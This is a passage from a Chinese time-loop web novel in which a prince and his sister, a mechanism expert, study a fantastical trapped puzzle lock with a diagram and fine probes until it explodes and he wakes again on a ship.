“果然……”她低语,声音轻得几不可闻,眼中闪烁着专注而锐利的光芒,“锁体非铜非铁,似有异质掺杂,光泽沉敛,触之必寒。锁链缠绕方式看似杂乱,实则以九宫八卦为基,暗合奇门遁甲生克之理,锁眼隐匿其中,非精通此道者,连从何下手都难以窥见。”
她一边观察,一边从随身携带的锦囊中取出一支极细的银簪,但并未触碰锁体,只是悬空比划,虚点着锁链交织的几个关键节点。“锁链非装饰,而是第一重机关。任何一根被错误拨动或强行剪断,都可能触发内里机括。老九,你来看这里,”她示意周昕阳靠近,指向锁链与锁体连接处一个极其隐蔽的、宛如花瓣的凹槽,“此乃‘逆鳞扣’,看似装饰,实为压力感应。若不知其法,试图撬动此处,便会……”
她话音未落,周昕阳已心领神会,接口道:“便会触发内藏的**?”他想起了前两次循环中那惊天动地的**。
“不止。”周灵薇摇头,神色凝重,“此等绝户锁,设计者心思歹毒。触发机关,或许不止**一种。**、毒烟、或是内部机括彻底锁死、永不可开,皆有可能。**,或许只是最后、最酷烈的一重手段。”
周昕阳心中一凛,对这把锁的凶险认识更深一层。
观察了约莫一刻钟,周灵薇才示意内**灯光聚焦于锁体本身。“取我的工具来。”她对其中一名内侍道。那内侍连忙奉上一个扁平的黑檀木盒。
周灵薇打开木盒,里面并非寻常锁匠的撬棍铁钩,而是一排排大小不一、形状各异的精致银质工具,有带镜面的细长探针,有顶端弯曲如钩的镊子,有薄如蝉翼的片状刮刀,还有几个小巧的、镶嵌着凸透镜的观察镜。
她先取出一面巴掌大小、手柄细长的银镜,调整角度,借助灯光,从侧面将锁眼内部的情况反射·情况,仔细观看。“锁芯结构……果然繁复至极。看这齿轨走向,非单一簧·片,而是多重连环套锁。钥匙孔形制奇特,并非寻常齿花,倒像是……某种特定序列的符印?”
她又换了一个带凸透镜的观察镜,凑近锁体表面那些看似装饰的繁复纹路,一寸寸地检视。“纹路深处有极细微的刻痕,排列似有规律……像是……某种计数或定位标记?”她眉头紧锁,全神贯注。
周昕阳在一旁静
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静看着,不敢打扰。他能看出,二姐的手法极其专业且谨慎,每一步都深思熟虑,绝不去触碰任何可能引发危险的位置。这与之前那些锁匠粗暴试探的方式有天壤之别。
时间一点点流逝,殿内寂静无声,只有琉璃灯芯偶尔爆开的轻微噼啪声,以及周灵薇极轻的、几乎听不见的呼吸声。
忽然,周灵薇的动作微微一顿,目光凝在锁体侧面一处极不显眼的、颜色略深的区域。她用最细的银探针,轻轻拂去那里几乎看不见的灰尘。
“找到了。”她声音低沉,带着一丝果然如此的意味。
“什么?”周昕阳·精神一振。
“泄压孔,或者说,是触发机关后,内部高温高压气体或**的泄出通道之一。”周灵薇指着那处,“设计得极其巧妙,与装饰纹路融为一体,不细看根本发现不了。有此种设计,更印证了内藏**或猛火油之类的爆燃物。”她的脸色更加严肃,“此锁,已非寻常机关锁,乃是一件大杀器。”
她收回工具,退后两步,目光重新扫视整个锁体,仿佛在脑海中构建其内部的三维结构。良久,她才缓缓开口,语气带着前所未有的凝重与一丝隐隐的兴奋:
“此锁,集机关术、奇门、秘药、铸造等诸般技艺于一体,巧夺天工,却也歹毒至极。其核心,应是一种极为罕见的‘序位相位连环锁’。开启之关键,并非对应锁孔形状的实体钥匙,而在于以特定顺序、特定角度、旋转或拨动锁芯内部数个乃至数十个联动机关,使其全部达到预设的‘相位’。”
“错一步,则前功尽弃,触发警戒机关。而一旦触发警戒……”她看向那隐蔽的泄压孔,“后果不堪设想。”
“序位相位连环锁……”周昕阳咀嚼着这个词,这与之前二姐在藏书馆提及的“逆旋双鱼啮合”、“鸢尾连环枢”等理论一脉相承,但显然更为复杂凶险。“二姐,可能推演出其开启序列?”
第105章 开始破解第四把锁
周灵薇轻轻摇头,目光未曾离开那把锁:“难,难如登天。若无原配钥匙或制锁图谱,单凭外部观察,想要推演出那唯一正确的序列组合,无异**捞针。其组合之多,可能数以十万、百万计。”
周昕阳的心沉了沉,虽然早有预料,但亲耳听到二姐这个行家如此说,还是感到一阵无力。他之前推测的三十六万多种组合,恐怕还是低估了。
三十六万种,是机关锁上机关正确开启的数量,而非全部可能的组合数量。
“但是,”周灵薇话锋一转,眼中锐光一闪,“并非全无头绪。任何精密机关,只要是人设计制造,必有规律可循,有‘理’可依。此锁纹路中的暗记,锁链的奇门排布,甚至锁体材质与重心的细微偏差,都可能隐藏着线索。”
她重新拿起工具,这次更加小心,开始用那薄如蝉翼的刮刀,极其轻微地、不触及任何机括地,清理锁体表面更多区域的浮尘,寻找可能存在的、更隐蔽的标记。
同时,她让内侍不断调整灯光角度,从各个方向照射,观察锁体在不同光线下反射的细微差异。
“老九,你来看这里,”她再次示意周昕阳,指向锁体上方一个看似普通的弧形凸起,“注意看它的光影边缘,与其他地方略有不同,似有极淡的、被反复摩挲的痕迹。还有这里,锁链第三节与第四节交汇处,磨损程度与其他链节有细微差别……”
她像一位最耐心的猎手,不放过任何一丝蛛丝马迹。周昕阳紧随她的指引,努力记忆着她指出的每一个细节。
这些,都是他在之前盲目试探甚至**中,绝无可能发现的线索!
“二姐,依你之见,若想安全开启此锁,当从何处着手?是否需先设法卸下这锁链?”周昕阳问道,想起了之前锁匠试图剪断锁链的失败。
“万万不可!”周灵薇立刻否决,语气斩钉截铁,“锁链与锁体乃一体联动,强行破坏锁链,必触发机关。此乃设计者留下的最明显陷阱,专为对付鲁莽之人。”她沉吟片刻,“若要尝试,或可从锁眼入手,但绝非插入钥匙那般简单。需以特制探针,极其缓慢、细微地试探锁芯内部每一处可能的活动部件,感受其反馈的力度、声音、乃至最细微的震动……”
她一边说,一边从工具盒中取出一根中空、顶端带有细小钩爪的银质探针。“以此物,可探入锁孔,感知内部机括。但此过程凶险万分,需对力道、角度掌控妙到毫巅,且必须有足够的耐心,记录每一次试探的反馈,绘制出锁芯内部的‘地图’。”
她将探针递给周昕阳看,针身细如发丝,顶端钩爪精巧无比。“然,此锁凶险,其内必有防试探之机关。或许试探次数有限,或许某些特定组合会直接触发毁灭装置。没有图谱,单凭试探,成功率……微乎其微。”
周昕阳接过那冰冷的银质探针,感受着其上传来的细微凉意,心中念头飞转。二姐提供了方法,但也指明了此路近乎绝境。他需要更多的信息,更直接的“感受”。
“二姐,”他抬起头,目光灼灼地看向周灵薇,“若……若有办法,能让你更清晰地看到锁芯内部的构造,哪怕只是惊鸿一瞥,是否对推演序列有所帮助?”
周灵薇一怔,随即摇头:“如何能看清内部?除非将其剖开,但那样做,与触发机关何异?”
周昕阳没有回答,只是深深地看着那把锁,脑海中却浮现出前两次梦境循环中,锁具在**瞬间,内部结构在火光中惊鸿一现的画面。那些破碎的齿轮、扭曲的簧·片、断裂的卡榫……虽然只是瞬间,但若能将那些碎片在脑海中进行更精确的拼合,结合二姐此刻观察到的外部特征,或许……
一个大胆而疯狂的念头,在他心中悄然滋生。
这一次循环,锁是完好的。他拥有了二姐这位顶级外援,进行了更深入、更专业的观察。但想要破解,似乎依旧缺少最关键的那把“钥匙”——锁芯内部的完整动态结构。
或许……他需要再次“冒险”,但这次,目标不再是盲目地“炸开”,而是有计划、有目的地,去“窥探”那**瞬间暴露的内部奥秘?
用二姐提供的专业知识和工具,在“安全”的范围内,进行最大限度的试探和记录,然后将所有信息——包括可能通过极端手段获取的最后一瞥——带回现实,在脑海中整合、推演?
风险极高,但……这似乎是目前唯一有可能在有限循环内取得突破的方向。
“二姐,”周昕阳的声音带着一种奇异的平静,“若有一种方法,能在不彻底摧毁此锁的前提下,短暂地、局部地破坏其外壳的某处非关键结构,从而窥见内部一隅……是否值得一试?”
周灵薇猛地看向他,美眸中充满了震惊与不赞同:“老九!你可知你在说什么?!此锁牵一发而动全身,任何破坏性尝试,都可能引发不可预测的后果!那**……”
“我知道。”周昕
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阳打断她,目光坚定,“但若我们能用最小的代价,换取最关键的信息呢?比如,只破坏锁体某个看似坚固、实则与核心机关联动最弱的‘装饰’部分?用最微量的**,定向引爆,只炸开一个观察口?”
这个想法极其危险,但周昕阳并非毫无根据。他回忆着前两次**的细节,锁体并非均匀碎裂,有些部位相对完整,有些则粉碎。若能找出那个“最弱”的点……
周灵薇死死盯着周昕阳,仿佛第一次真正认识自己这个九弟。她看到了他眼中的决绝,也看到了那份被逼到绝境的孤注一掷。良久,她缓缓吐出一口气,声音干涩:“你……你可知其中风险?稍有不慎,便是……”
“我知。”周昕阳点头,“但二姐,我们还有别的选择吗?父皇限期破案,此锁不破,铁箱之谜难解,幕后黑手逍遥。更重要的是,”他压低声音,“此锁背后代表的威胁,可能远超你我想象。我们必须打开它!”
周灵薇再次沉默,目光在周昕阳坚定的脸庞和那把散发着不祥气息的机关锁之间来回游移。殿内的空气仿佛凝固了,只有琉璃灯的光芒在两人脸上投下摇曳的阴影。
最终,她仿佛下定了极大的决心,声音有些发颤,却带着一种破釜沉舟的意味:“……若你执意如此……我需更长时间观察,找出那个理论上最可能的薄弱点。而且,**用量、引爆方式、防护措施,必须万无一失!稍有差池,你我皆成齑粉!”
“全凭二姐安排!”周昕阳心中一定,他知道,最艰难的一步,二姐已经迈出了。
接下来的时间,周灵薇进入了前所未有的专注状态。她几乎将脸贴到了锁上,用各种工具测量、比划、计算,不时在随身携带的纸笺上勾勒出复杂的草图和算式。
周昕阳则守在一旁,提供必要的协助,同时警惕着任何可能的意外。
殿外的夜色,渐渐褪去,东方天际泛起了一抹鱼肚白。
漫长的一夜即将过去,而针对这把“绝户锁”的生死博弈,才刚刚进入最凶险、也最关键的阶段。
周昕阳知道,留给这个梦境循环的时间不多了。他必须在下一次醒来前,获取足够多的信息,无论是通过二姐的精密探查,还是……那可能带来毁灭性后果的、窥探的一瞬。
“二姐,如果我知道其中部分的内部构造,对打开此锁,会不会有帮助?”
周昕阳突然开口说道,声音在寂静的殿内显得格外清晰。
第106章 内部构造图
周灵薇手中的薄刃刮刀微微一顿,从专注的状态中抽离,抬起头,诧异地看向周昕阳,美眸中闪过一丝疑惑:“你知道部分内部构造?老九,此话何意?你从何得知?”
她的语气带着探究。这锁结构诡谲,外部尚且难窥其妙,不通机关术的周昕阳如何得知内部构造?
周昕阳没有多作解释,只是从怀中取出一个用油纸仔细包裹的纸卷。他动作小心地解开系绳,在琉璃灯旁的桌案上,缓缓将纸卷摊开。
“二姐请看此物。”
周灵薇的视线落到那展开的纸张上,起初只是带着几分审视,但当她看清纸上所绘内容时,瞳孔骤然收缩,呼吸为之一滞!
那并非简单的草图,而是一幅极其详尽、线条清晰、标注繁复的机关锁内部结构剖视图!
图纸中心,正是那把“序位相位连环锁”的等比例剖面。其内部结构之复杂精密,层层嵌套的齿轮组,奇异角度啮合的主副传动轴,形态各异的簧·片与卡榫……更令人心悸的是,图纸上清晰地标注出了几个用朱砂重点圈出的区域,旁注“疑似**腔室”、“联动触发点”等字样。
虽然图纸上仍有几处关键连接以虚线表示,显露出推测的不确定性,但整体结构的逻辑性、齿轮传动关系、以及几个核心联动机制的描绘,已然具备惊人的完整度和说服力!这绝非外行人能凭空臆想!
“这……这是?!”周灵薇的声音因震惊而微颤,她几乎扑到案前,手指悬在图纸上方,目光如炬地扫过每一处细节,口中低喃:“主传动轴……偏心联动……双重保险……还有这‘九曲回环簧’的预紧方向……天……”
她猛地抬头,眼中光芒大盛,紧紧盯住周昕阳:“老九!此图……你从何得来?!这绝非臆测!这分明是深谙机关精髓之人,拆解过类似核心,方能绘出的推演图!其中许多构想,与失传的《机巧遗篇》残卷所载,有异曲同工之妙,但比你这里所绘,简单粗糙何止十倍!”
她的呼吸急促起来,带着一种学者见到稀世珍宝般的激动:“尤其是这几处**触发装置的联动设计……阴狠绝妙,却又深合机括原理……你……你难道得到了制锁图谱?还是……”
周昕阳迎着她灼热而充满疑问的目光,脸上适当地流露出一丝凝重与讳莫如深,沉声道:“二姐不必追问此图具体来源。只需知道,此乃我费尽心力,冒了极大风险,方才偶得的一线机缘。其中大半,仍是基于外部观察和理论推演,尤其这几处关键,尚是猜测。”
他指向图纸上几处虚线和不甚明朗的区域,语气转而恳切:“正因其得来不易,且关乎重大,我才更不敢轻忽。二姐,你精研此道,普天之下,恐唯有你能凭此残图,窥见一线天机。此锁不破,祸患深藏,弟……实无他法,唯有恳请二姐援手,以此图为引,助我破此僵局!”
他将图的来源模糊处理,归结于冒险所得和机缘,既避免了冗长且可能漏洞百出的解释,又将重点引向图纸本身的价值和二姐的能力,同时暗示了事情的严重性与紧急性。
周灵薇听完,目光在周昕阳凝重而坚定的脸上停留片刻,又落回那精妙却凶险的图纸上。她眼中的震惊与疑惑渐渐被一种面对极致挑战时的专注与锐利所取代。她似乎明白了周昕阳不欲多言的深意,也感受到了他话语中的沉重托付。
“……我明白了。”她缓缓吐出一口气,不再追问图的来历,转而将全部心神投注到图纸本身,“你既不肯明言,必有难处。罢了,有此图为凭,总好过盲人摸象。”
她再次低头,手指快速而精准地点在图纸的几个关键节点上,语速加快:“你看此处,你标注的‘逆旋双鱼啮合’基座,与外部锁链第三、第五节的缠绕走向完全契合,这绝非巧合!还有这里,‘鸢尾连环枢’的变种设计,其联动杆的受力点,正好对应外部那处‘逆鳞扣’的背面!若此图无误,那么解除‘逆鳞扣’压力,或许正是解开第一道连环保险的关键钥匙!”
她的眼神越来越亮,仿佛穿透了图纸,看到了锁具内部精密的运作:“更重要的是这几处朱砂标注的危险区域——**腔室与触发机构的位置。结合外部观察到的泄压孔,可以反推出其内部压力传导路径……若我们能避开这些路径,或在其传导被激活前,先一步解除联动……”
周灵薇越说越深入,迅速进
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入状态,开始以图纸为蓝本,结合自己方才的外部勘验,进行飞速的交叉验证与逻辑推演。周昕阳提供的这幅“内视图”,就像一把钥匙,瞬间打开了许多之前仅凭外部观察无法理解的死结,让她脑海中原本模糊的构想迅速变得清晰、立体起来。
“老九!”她猛地再次抬头,眼中闪烁着破开迷雾的兴奋光芒,之前的凝重被一种找到方向的锐利所取代,“有此图为基,我们便有了方向!许多凶险陷阱得以规避,许多试探可以有的放矢!破解此锁的希望,大增!”
“但!”她话锋一转,神色复归无比严肃,“凶险依旧!此图仍有残缺,尤其是最核心的几处相位变换机关和最终解锁顺序,依旧是谜。我们必须按照最谨慎的步骤来,绝不可冒进!”
“全凭二姐安排!”周昕阳心中大定,知道自己这步棋走对了。图的来源不必深究,能用它撬开二姐的思路,引导探查,便是成功。
“好!”周灵薇不再多言,深吸一口气,将状态调整到极致。她示意周昕阳举灯靠近,自己则拿起那根中空银探针,蘸取了一点特制的、几乎无色的润滑细粉。
“我们先验证此处,”她的指尖点向图纸上一处标注为“相对安全测试点”的卡槽边缘,“若图中此处齿轮间隙与反馈力度推测属实,则此图可信度大增,我们后续推演便有根基。若不符……”她看了周昕阳一眼,未尽之言,彼此明了。
周昕阳屏息凝神,全神贯注。
周灵薇的手稳如磐石,以肉眼几乎难以察觉的缓慢和稳定,将探针的尖端,向着锁孔内那处预定位置,探去。
这一次,她的动作更加沉稳,眼神更加锐利,因为有了“地图”的指引,虽然前路依然遍布死亡陷阱,但至少,不再是完全的黑暗。
殿内的空气仿佛凝固了,只有琉璃灯芯偶尔爆开的噼啪声,以及那根细如发丝的银针,在锁孔内以微米级移动时,所发出的、几乎不存在的细微摩擦声。
真正的、有计划、有指引的破解尝试,此刻,才正式开始。
而周昕阳所提供的这张来源成谜却至关重要的内视图,便是照亮这死亡迷宫的第一缕,也是最关键的一缕光。
第107章 破解(上)
周灵薇的手稳如磐石,以肉眼几乎难以察觉的缓慢和稳定,将探针的尖端,向着锁孔内那处预定位置,探去。
这一次,她的动作更加沉稳,眼神更加锐利,因为有了“地图”的指引,虽然前路依然遍布死亡陷阱,但至少,不再是完全的黑暗。
殿内的空气仿佛凝固了,只有琉璃灯芯偶尔爆开的噼啪声,以及那根细如发丝的银针,在锁孔内以微米级移动时,所发出的、几乎不存在的细微摩擦声。
真正的、有计划、有指引的破解尝试,此刻,才正式开始。
而周昕阳所提供的这张来源成谜却至关重要的“内视图”,便是照亮这死亡迷宫的第一缕,也是最关键的一缕光。
探针的尖端,终于轻轻触碰到图纸上标注的那处卡槽边缘。没有预期中的阻力剧增,也没有任何不祥的“咔哒”声,只有一种极其细微、如同羽毛拂过最细腻绸缎般的滞涩感,通过探针传来。
周灵薇眼神丝毫未动,仿佛与那探针融为一体。她没有急于深入,而是以指尖几乎无法感知的幅度,缓缓旋转探针,调整角度,用针尖最前端感受着卡槽内壁每一丝纹理的起伏、每一分角度的变化。
她闭上半分眼睑,似乎屏蔽了视觉的干扰,将全部心神都集中在指尖与探针传来的、那微弱到极致的触感上。
片刻,她极其缓慢地将探针收回毫厘,又换了一个极其微小的角度,再次探入,触碰卡槽的另一侧边缘。如此反复了三次,每一次触碰的角度和施加的力道都经过精准控制,如同最精密的尺子,在测量着肉眼不可见的微观世界。
终于,她将探针完全收回,长长地、极其轻微地呼出一口气,仿佛卸下了千钧重担。但她的眼中,却闪过一丝明亮的光芒。
“如何?”周昕阳压低声音询问,在这落针可闻的殿内,声音也显得清晰。
“纹路深度、内壁倾角、与下方主传动齿轮的联动间隙……反馈与图中推测,相差无几。”周灵薇的声音带着一丝压抑的兴奋,但更多的是如临深渊的凝重,“此图所载,至少有七成可信。尤其是这主传动轴的联动关系,与你标注的‘逆旋啮合起始点’完全吻合。绘图之人,对机括之理的领悟,非同凡响。”
她顿了顿,看向周昕阳,目光复杂:“老九,你那位‘机缘’,非同小可。但此图也仅仅是骨架,血肉筋络,尤其是最关键的‘璇玑枢’变化与**触发联锁,仍是迷雾重重。”
“有骨架,便有了依凭。”周昕阳沉声道,心中稍定。这图的价值初步得到验证,接下来的路,便有了方向。
“不错。”周灵薇点头,重新将注意力投向图纸与锁具。她开始按照图纸的指引,结合自己超凡的观察力与理解,选择下一个相对“安全”且关键的探查点。
这一次,她选择了图纸上标注的、位于锁体侧面一处浮雕纹路深处、疑似“压力感应簧·片预紧测试点”。此处远离图纸上朱笔圈出的危险区域,但通过感知其预紧状态,可以间接推断核心机括的部分受力与警戒级别。
她换了一根更细、顶端带有微小镜面的银质探针,小心翼翼地将探针顺着浮雕的天然缝隙探入。镜面调整角度,反射出内部簧·片结构的惊鸿一瞥——那是一片薄如蝉翼、却呈现出奇异螺旋弯曲弧度的金属片,在微弱的光线下泛着冷冽的光泽。同时,她的指尖通过探针,感受着簧·片传来的微弱但清晰的回弹力。
“预紧力……极强,已近临界。形态呈‘反螺悬月’式,与图中标注的‘第三重保险簧’形态、受力方向,吻合度九成以上。”她低声自语,迅速在随身携带的纸笺上记下数据和简图。
时间在极度专注与屏息凝神中缓缓流逝。殿内灯火通明,却静得只剩下两人压抑
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的呼吸与心跳。周灵薇如同一位在万丈深渊上走钢丝的艺人,每一步都精准到极致,却又危险万分。她依图索骥,又不断以实物验证、修正着图纸的细节。
“此处联动杆的活动空隙……比图中推测略小半分,内部应有微调垫片……”
“这个偏心轮轴心的偏移量……与‘九宫移位’第三变的推演结果,偏差在可接受范围……”
“齿轮一与副轴二的啮合面,有极细微的偏向性磨损,说明其主要受力方向是逆时针旋转,与图中‘逆旋双鱼’的初始相位推测一致……”
她一边探查,一边用几乎听不见的声音快速分析、记录。周昕阳则在一旁,根据她的低语,在心中默默修正、完善着自己脑海中那幅越来越清晰的结构图。许多之前模糊的虚线部分,在二姐的验证下,逐渐变成了实线;一些存疑的联动关系,得到了确认或否定。
随着探查的深入,周灵薇的脸色时而恍然,时而凝重,时而陷入深思。图纸上的许多推测被证实,但也发现了不少细微的差异和图纸上未曾标注的、更加隐蔽的联动结构。这把锁的复杂与精密程度,远超图纸所能完全涵盖,但有了这幅“骨架图”作为指引和验证基准,探查的效率与安全性,提升了何止十倍!
“果然……”在探查到靠近锁体核心区域、图纸上标注为“璇玑枢外围联动齿轮组”的区域时,周灵薇的呼吸猛地一滞,声音带着一丝颤抖的激动与前所未有的凝重,“这里……图中标注的‘璇玑枢’外围第一重‘游星齿轮阵列’……竟然真的存在!而且……比图中所绘,还要繁复三分!”
周昕阳心头剧震,“璇玑枢”!这个在之前循环中,二姐提及的、墨家机关术传说中用于控制无穷变化的枢纽核心,竟然真的在此锁中!而且,实物比推演图更复杂!
“能确定吗?危险如何?”他声音压得极低。
第108章 破解(中)
“确定无疑。”周灵薇的声音因激动和紧张而微微发紧,但手上的动作却更加缓慢谨慎,仿佛在触摸一片即将融化的雪花,“看这外围七枚大小不一、齿数各异的齿轮,以奇特的非同心圆方式排布,彼此啮合间隙极小,却又留有极其微妙的弹性余量。中心那枚主齿轮的轴心并非固定,而是悬浮在一个可活动的偏心盘上……这分明是《机巧遗篇》残卷中只提及名称、未曾详述的‘七星拱月游移阵’!是‘璇玑枢’最典型的特征之一!”
她抬起眼,眸中闪烁着近乎狂热的光芒,那是对至高技艺的惊叹与敬畏,但很快又被极度的危险感所取代:“但正因如此,此处凶险也攀升至极致!‘游星齿轮阵列’一旦被错误触动,哪怕只是最微小的扰动,都会通过偏心盘瞬间传递到核心‘璇玑枢’,引发不可预测的连锁相位变化!图中对此处的描绘也最为简略,只有大致轮廓,其内部具体的啮合逻辑、相位变化规律,完全是空白!”
她的目光再次投向图纸上那个用朱笔重重圈出、并打上巨大血红问号的区域——正是“璇玑枢”核心及其周边密密麻麻、疑似与**触发装置相连的死亡脉络。
“二姐,依你判断,从此处‘游星阵列’入手,逆向推演‘璇玑枢’变化规律,有几分可能?”周昕阳问出了最关键的问题。
周灵薇沉默了很久。她再次俯身,几乎将全部心神都投入到那精妙绝伦又杀机四伏的齿轮阵列上,借助各种反光镜和特制观察杆,从各个匪夷所思的角度审视着,脑海中飞速进行着庞杂的计算与推演。
“难如登天。”最终,她直起身,声音带着一种近乎虚脱的疲惫,但眼神却锐利如淬火的寒铁,“‘七星拱月游移阵’本身就有至少四十九种基础相位变化,再配合中心偏心盘的联动,变化组合已达数百。而这,还仅仅是外围阵列!核心‘璇玑枢’本身的变化,更不知凡几。没有原始密钥图谱,单凭外部观察和有限试探,想要在无数种变化组合中,推演出唯一正确的、且能避开所有**触发点的开启序列……”
她摇了摇头,没有说下去,但意思已不言而喻——近乎不可能。
周昕阳的心沉了下去。难道有了图纸,窥见了核心,依旧是无解之局?
“但是,”周灵薇话锋一转,指尖虚点在图纸上“游星阵列”与几个疑似安全观察点的连接线上,目光紧紧锁住实物上对应的细微结构,“也并非完全没有一线生机。”
“什么生机?”
“规律中的‘不规律’。”周灵薇的指尖沿着那繁复的齿轮边缘虚划,“再精妙的机关,也是人造之物,必有匠人的‘习惯’或‘偏好’残留。这‘游星阵列’的排布,看似杂乱无章,但其齿轮齿数的选择、偏心距的设定、乃至啮合面的磨损痕迹,都隐含着设计者的逻辑。我们探查了这么久,虽然未能触及核心变化,但也并非全无收获。”
她拿起那张记满数据和简图的纸笺,指尖快速点过几处:“你看,这七枚齿轮的齿数,并非随意选择。3、5、7、11、13、17、19……全是质数。这绝非巧合。质数齿数啮合,可极大增加变化周期,难以被暴力破解。但反过来,也意味着其变化序列,可能遵循某种基于质数特性的数学规律。”
她又指向齿轮啮合面的磨损痕迹:“再看这细微的偏向性磨损,并非均匀。齿轮一与二的啮合面,单侧磨损略重;齿轮E与G则另一侧重。这说明在大多数情况下,阵列并非完全静止,而是受到一个持续但微弱的、有特定方向的预应力!这个预应力的来源和方向,可能就是破解其初始相位,甚至部分变化规律的关键!”
周昕阳·精神一振!二姐果然找到了
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突破口!磨损痕迹,应力方向……这些细节,若非有图纸指引,在之前盲目探查中根本不可能被系统性地发现和关联!
“还有这里,”周灵薇的目光投向锁体上一个极其隐蔽的、类似刻度标记的凹陷,“这个标记的位置,与‘游星阵列’中齿轮二的某个特定齿尖,在某个特定观察角度下,恰好能连成一条隐晦的指示线。这很可能是一个……‘归零标记’或者‘起始相位参照点’!”
归零标记!起始参照点!周昕阳眼中爆发出精光。这意味着,他们可能找到了一个“锚点”,一个在无穷变化中相对固定的基准!
“你的意思是……”周昕阳的声音因激动而微微发干。
“我的意思是,”周灵薇抬起头,眼中闪烁着一种混合了极度兴奋与极致冷静的奇异光芒,“我们或许无法在短时间内完全推演出整个‘璇玑枢’的变化规律。但若我们能确定这个‘归零标记’对应的具体齿轮相位,再结合齿轮齿数的质数特性、预应力方向,以及图纸上标注的其他联动关系……我们或许能反向推导出几个‘绝对错误’的相位区域,以及……一两个‘可能相对安全’的试探方向!”
她深吸一口气,语气斩钉截铁:“我们需要进行一次极其精密、也极其危险的‘相位探测’。不直接触动‘璇玑枢’核心,而是通过极其微调‘游星阵列’最外围的一枚辅助齿轮,观察整个阵列的应力反馈和细微位移,结合那个‘归零标记’,来逆向校准整个阵列的当前‘状态’,并试探其变化‘趋势’!”
周昕阳瞬间明白了二姐的计划。这就像是在雷区边缘,用一根极细的棍子,轻轻触碰最近的一颗**的边沿,通过感受其反馈的微弱震动,来推测整个雷区的布置规律!风险依然巨大,但不再是盲人摸象,而是有了一丝理论的指引和明确的试探目标!
第109章 破解(下)
“有几成把握不触发机关?”周昕阳问出了最核心的问题。
“若我的推算无误,且图纸关于**触发联锁点的标注基本准确……”周灵薇沉吟片刻,缓缓伸出三根手指,“三成。只有三成把握,在试探过程中不会因连锁反应触及致命机关。而且,即便试探成功,我们也只是得到了阵列的当前状态和部分变化趋势,距离真正破解‘璇玑枢’,依旧遥远。但这是目前唯一可能获得实质性进展的方法。”
三成!
一个低得令人绝望,却又在绝境中闪烁着一丝微光的数字。
周昕阳看着二姐眼中那不容置疑的决然,又看向那静静蛰伏、却散发着致命诱惑的机关锁。梦境的时间不多了,现实中的危机也迫在眉睫。他需要突破,需要哪怕一丝一毫的进展,来为下一次循环,或者为现实中可能出现的转机,积累筹码。
“干了。”他深吸一口气,声音低沉而坚定,“二姐,需要我做什么?”
周灵薇深深看了他一眼,没有再多言。她迅速从工具盒中取出一套更加精密、看起来如同医者手术器械般的微型工具——带有刻度盘的微调旋钮、顶端镶嵌着光滑琉璃珠的传导杆、以及数根粗细不同、硬度各异的超细探针。
“稳住灯火,绝对不能晃动。记录我报出的每一个数据和异常。一旦我喊‘停’或你发现任何异响、异常震动、乃至温度变化,立刻拉我后退!”她的指令简洁而清晰。
周昕阳重重点头,将琉璃灯移到最佳位置,双手稳如磐石,拿起纸笔,全身肌肉绷紧,如同蓄势待发的猎豹。
周灵薇再次闭上眼睛,深吸几口气,当她睁开眼时,所有的情绪都已收敛,只剩下冰原般的冷静与专注。她拿起那根带有微调旋钮的传导杆,将顶端光滑的琉璃珠,对准了“游星阵列”最外围、也是她判断与**触发机构距离最远、联动最弱的那枚小齿轮的某个特定齿隙。
她的动作慢到了极致,仿佛时间在她指尖凝固。微调旋钮以几乎无法察觉的速度,缓缓转动了微不可查的一格。
传导杆顶端的琉璃珠,以一种轻柔到极致的力道,触碰到了齿轮的齿面。
“嗡……”
一声极其轻微、仿佛来自极遥远之处的、金属承受微小应力时发出的低沉颤鸣,透过传导杆,清晰地传入周灵薇的手中,也隐隐传入凝神静气的周昕阳耳中。
锁体内部,那精密的“七星拱月游移阵”,似乎微微“活”了一下。
周灵薇的眼神锐利如鹰,死死盯着“归零标记”与齿轮的相对位置变化,同时指尖感受着传导杆传来的每一丝力道反馈。
“偏移……西北偏三毫……应力反馈递增,非线形……阵列有整体左旋趋势……”她以极低但清晰的声音报出数据。
周昕阳飞速记录,心提到了嗓子眼。
就在周灵薇准备进行第二次、幅度更小的微调,以验证趋势时——
异变陡生!
那枚被触碰的小齿轮,在琉璃珠离开的瞬间,并未完全回归原位,而是极其诡异地、违背常理地向反方向弹动了几乎无法察觉的一丝!
与此同时,锁体深处,传来一声轻微到极致、却让周昕阳毛骨悚然的——
“嗒。”
那声音,并非来自被触碰的齿轮区域,而是来自更深、更靠近核心“璇玑枢”的方向!如同某种精密机括被拨动了一格,又像是……某种计时装置,被悄然启动!
“不好!是反逻辑陷阱!”周灵薇脸色瞬间煞白,失声低呼,“这阵列的预应力方向是陷阱!触碰后的回弹是逆向触发!”
她想也不想,用尽全力,将手中的传导杆向侧方猛地甩开!同时另一只手闪电般抓向周昕阳的手臂,想要将他扯离!
然而,已经晚了。
“咔嚓——咯咯咯——!”
一连串急促、密集、令人牙酸的金属摩擦与机括咬合声,如同沉睡的凶兽被彻底惊醒,从锁体深处轰然爆发!速度之快,远超想象!
那声音并非指向外部**,而是锁体内部结构正在发生某种急速的、连锁性的崩溃与重组!
周昕阳甚至来不及做出任何反应,就感到一股冰冷刺骨的杀机,如同实质般从锁具上迸发出来!他眼角的余光,似乎瞥见锁体表面那些繁复的花纹,如同活过来一般,开始流动、变幻出诡异的光泽!
“轰——!!!”
比之前任何一次都要猛烈、都要近、都要璀璨的**,毫无征兆地,从锁具内部迸发!
没有火光先行,没有浓烟预兆,只有一道耀眼到极致的、掺杂着诡异银蓝色电弧的白光,瞬间吞噬了视线中的一切!紧接着,才是那撕裂耳膜、震碎灵魂的恐怖巨响与灼热气浪!
在意识被彻底撕碎、拽入无尽黑暗的最后一瞬,周昕阳的视网膜上,残留的并非毁灭的烈焰,而是那锁具核心区域——在爆发性解体的瞬间,如同昙花一现般展露出的、复杂精密到令人眩晕的、仿佛星辰运转般瑰丽而致命的“璇玑枢”内部结构的一角!
以及,在那毁灭性的银蓝光芒中心,翩然掠过的一抹梦幻迷离、仿佛由无数齿轮与光线构成的、振翅欲飞的蝴蝶虚影!
“嗬——!!!”
周昕阳猛地从床上弹坐起来,大口大口地喘着粗气,仿佛溺水之人终于浮出水面,冷汗瞬间浸透了全身,心脏在胸腔里疯狂擂动,耳中嗡嗡作响,似乎还残留着那毁灭性的**轰鸣。
眼前是熟悉的、随着墨蛟号航行而微微起伏的木质舱顶。窗外是沉沉的夜色与江水永恒的流淌声。
他回来了。又一次,从死亡的边缘,被抛回起点。
但这一次,与以往任何一次都不同。
